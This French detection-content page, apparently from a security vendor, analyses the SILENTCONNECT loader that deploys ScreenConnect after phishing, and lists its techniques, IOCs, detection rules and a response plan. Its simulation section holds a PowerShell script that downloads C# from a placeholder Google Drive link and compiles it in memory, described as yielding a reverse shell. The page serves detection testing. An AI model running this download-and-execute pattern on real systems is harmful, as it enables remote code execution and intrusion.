De l’invitation à l’infection : comment SILENTCONNECT déploie ScreenConnect
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit un chargeur à plusieurs étapes nommé SILENTCONNECT qui repose sur un VBScript dropper, la compilation en mémoire de code C# via PowerShell, et la dissimulation de PEB pour déployer discrètement l’outil de gestion à distance ConnectWise ScreenConnect. L’attaque commence par un email de phishing qui conduit les victimes à travers une page CAPTCHA Cloudflare Turnstile avant de fournir la charge utile VBScript. Ce script récupère un composant C# depuis Google Drive, le compile en mémoire, puis télécharge un MSI ScreenConnect depuis un domaine malveillant pour établir la persistance en tant que service Windows. La campagne mélange des services d’hébergement de confiance avec des fichiers binaires résidant déjà sur le système pour réduire son empreinte de détection.
Enquête
Elastic Security Labs a identifié une chaîne d’alertes inhabituelles de scripts Windows qui a finalement révélé le fichier E-INVITE.vbs hébergé sur Cloudflare R2. L’analyse a montré que le script lançait une commande PowerShell qui appelait curl.exe pour récupérer un fichier source C# depuis Google Drive, lequel était ensuite compilé et exécuté directement en mémoire. Le chargeur utilisait NtAllocateVirtualMemory pour réserver la mémoire exécutable, appliquait la dissimulation de PEB, et ajoutait une exclusion à Windows Defender avant de télécharger le programme d’installation de ScreenConnect avec curl et de l’exécuter via msiexec. La télémétrie réseau a révélé que le client déployé atteignait un point de contrôle C2 à bumptobabeco.top sur le port TCP 8041.
Atténuation
Les équipes de sécurité devraient surveiller les lignes de commande PowerShell suspectes invoquant curl.exe, la création de dossiers temporaires sous C:Temp, et la compilation Add-Type inhabituelle de code source C# téléchargé. La logique de détection doit également prendre en compte la dissimulation de PEB en signalant les processus dont les valeurs BaseDLLName ou FullDllName ne correspondent pas au chemin réel du module. Le trafic sortant vers des domaines non familiers hébergeant des programmes d’installation MSI doit être bloqué ou examiné de près, et l’exécution msiexec doit être strictement contrôlée pour les sources non fiables. Les exclusions de Windows Defender ne doivent être appliquées que par le biais de workflows administratifs approuvés.
Réponse
Si ces indicateurs sont observés, isolez immédiatement l’hôte affecté, arrêtez le processus malveillant, et supprimez le service ScreenConnect installé. Collectez les preuves médico-légales, y compris les fichiers temporaires, l’assemblée .NET compilée, et tous les packages MSI déposés. Révoquez toute exclusion non autorisée de Windows Defender et restaurez les paramètres UAC s’ils ont été modifiés. Ensuite, explorez l’environnement plus large à la recherche d’artefacts de chargeur correspondants et actualisez le contenu de détection avec tous les IOCs nouvellement identifiés.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc classDef malware fill:#ffdddd %% Nodes action_phishing["<b>Action</b> – <b>Technique</b>: T1566 Phishing<br/><b>Description</b>: Email de spearphishing délivre du contenu malveillant."] class action_phishing action action_user_click["<b>Action</b> – L’utilisateur clique sur un lien malveillant vers une page Cloudflare Turnstile."] class action_user_click action malware_vbscript["<b>Malware</b> – Fichier VBScript<br/><b>Technique</b>: T1059.005 Visual Basic<br/><b>Description</b>: Exécute un script Visual Basic pour lancer un autre code."] class malware_vbscript malware tool_powershell["<b>Outil</b> – PowerShell<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: Exécute des commandes PowerShell pour le contrôle du système."] class tool_powershell tool tool_curl["<b>Outil</b> – Curl<br/><b>Technique</b>: T1570 Transfert d’Outils Latéraux<br/><b>Description</b>: Récupère des fichiers depuis un stockage distant (Google Drive)."] class tool_curl tool malware_compile["<b>Malware</b> – Compilation C# en‑mémoire<br/><b>Technique</b>: T1027.004 Compilation après Livraison<br/><b>Description</b>: Compile un source C# directement en mémoire."] class malware_compile malware process_injection["<b>Processus</b> – NtAllocateVirtualMemory<br/><b>Technique</b>: T1055.002 Injection de Processus<br/><b>Description</b>: Alloue la mémoire dans un processus cible pour l’injection de charge utile."] class process_injection process malware_peb["<b>Malware</b> – Déguisement de PEB<br/><b>Technique</b>: T1036.011 Déguisement<br/><b>Description</b>: Écrase le BaseDLLName pour apparaître comme winhlp32.exe."] class malware_peb malware tool_cmstp["<b>Outil</b> – CMSTP<br/><b>Technique</b>: T1218.003 Exécution par Proxy de Binaire Système CMSTP<br/><b>Description</b>: Utilise l’interface COM de CMSTP pour contourner l’UAC."] class tool_cmstp tool action_defender_exclusion["<b>Action</b> – <b>Technique</b>: T1564.012 Exclusions de Chemin de Fichier<br/><b>Description</b>: Ajoute une exclusion Microsoft Defender pour un exécutable malveillant."] class action_defender_exclusion action tool_screenconnect_msi["<b>Outil</b> – ScreenConnect MSI<br/><b>Technique</b>: T1570 Transfert d’Outils Latéraux<br/><b>Description</b>: Télécharge le programme d’installation de l’administration à distance."] class tool_screenconnect_msi tool tool_msiexec["<b>Outil</b> – Msiexec<br/><b>Technique</b>: T1547.010 Exécution de Démarrage Autostart Par Moniteurs de Port<br/><b>Description</b>: Réalise une installation silencieuse du service ScreenConnect."] class tool_msiexec tool malware_screenconnect["<b>Malware</b> – Service ScreenConnect<br/><b>Technique</b>: T1219 Outils d’Accès à Distance<br/><b>Description</b>: Persiste sur le système et se connecte à la commande et au contrôle."] class malware_screenconnect malware %% Connections action_phishing –>|conduit à| action_user_click action_user_click –>|télécharge| malware_vbscript malware_vbscript –>|lance| tool_powershell tool_powershell –>|utilise| tool_curl tool_curl –>|récupère la source pour| malware_compile malware_compile –>|charge dans| process_injection process_injection –>|autorise| malware_peb malware_peb –>|autorise| tool_cmstp tool_cmstp –>|déclenche| action_defender_exclusion action_defender_exclusion –>|télécharge| tool_screenconnect_msi tool_screenconnect_msi –>|installe via| tool_msiexec tool_msiexec –>|crée| malware_screenconnect "
Flux d’attaque
Détections
Possibilité de phishing sur Google Drive (via proxy)
Voir
Possibilité d’infiltration / exfiltration de données / C2 via services / outils tiers (via dns)
Voir
Script PowerShell possible contenant un Lolbin (via powershell)
Voir
Possibilité de chaîne LOLBAS (via cmdline)
Voir
MsiExec lancé par le processus Shell (via cmdline)
Voir
Accès initial possible par phishing avec extensions de fichier comme TLD (via dns)
Voir
Activité de commande et de contrôle possible par tentative de communication via le domaine logiciel d’accès à distance (via dns)
Voir
Le domaine Google Drive a été résolu par un processus suspect (via dns_query)
Voir
Commande et contrôle suspect par demande DNS de domaine de niveau supérieur (TLD) inhabituel (via dns)
Voir
Utilisation suspecte de CURL (via cmdline)
Voir
MsiExec possible exécutant des fichiers dans un répertoire inhabituel (via cmdline)
Voir
IOCs (HashSha256) à détecter : De l’invitation à l’infection : comment SILENTCONNECT livre ScreenConnect
Voir
IOCs (Emails) à détecter : De l’invitation à l’infection : comment SILENTCONNECT livre ScreenConnect
Voir
IOCs (SourceIP) à détecter : De l’invitation à l’infection : comment SILENTCONNECT livre ScreenConnect
Voir
IOCs (DestinationIP) à détecter : De l’invitation à l’infection : comment SILENTCONNECT livre ScreenConnect
Voir
Exécution suspecte PowerShell avec téléchargement et exécution de charge utile C# [Windows Powershell]
Voir
Détection du téléchargement et de l’exécution du programme d’installation SILENTCONNECT ScreenConnect [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : la vérification préliminaire de télémétrie et de référence doit avoir réussi.
Raison : cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.
-
Narration de l’attaque et commandes :
- Reconnaissance initiale et récupération de la charge utile – L’attaquant héberge un fichier source C# malveillant sur Google Drive. En utilisant PowerShell, il télécharge le fichier brut via
Invoke-WebRequest. - Compilation en mémoire – La source C# téléchargée est compilée directement en mémoire avec
Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src. - Exécution – Le type .NET résultant est instancié et sa méthode
Run()est invoquée, établissant un shell inversé. - Obfuscation – La ligne de commande est lancée avec
-ExecutionPolicy Bypasspour éviter les blocages de politique, en correspondant exactement aux chaînes que la règle surveille.
- Reconnaissance initiale et récupération de la charge utile – L’attaquant héberge un fichier source C# malveillant sur Google Drive. En utilisant PowerShell, il télécharge le fichier brut via
-
Script de test de régression :
# ------------------------------------------------- # Script d'adversaire simulé – déclenche la règle Sigma # ------------------------------------------------- # 1. Définir l'URL du payload C# distant (lien de partage Google Drive) $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID" # 2. Télécharger la source C# dans une variable $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content # 3. Compiler et charger la charge utile en mémoire Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp # 4. Exécuter la charge utile (suppose une classe nommée "Payload" avec méthode statique "Run") # ------------------------------------------------- -
Commandes de nettoyage :
# Supprimer tous les fichiers temporaires (aucun créé) et décharger l'assemblage en mémoire # PowerShell ne fournit pas de déchargement direct ; terminez le processus si nécessaire Stop-Process -Id $PID -Force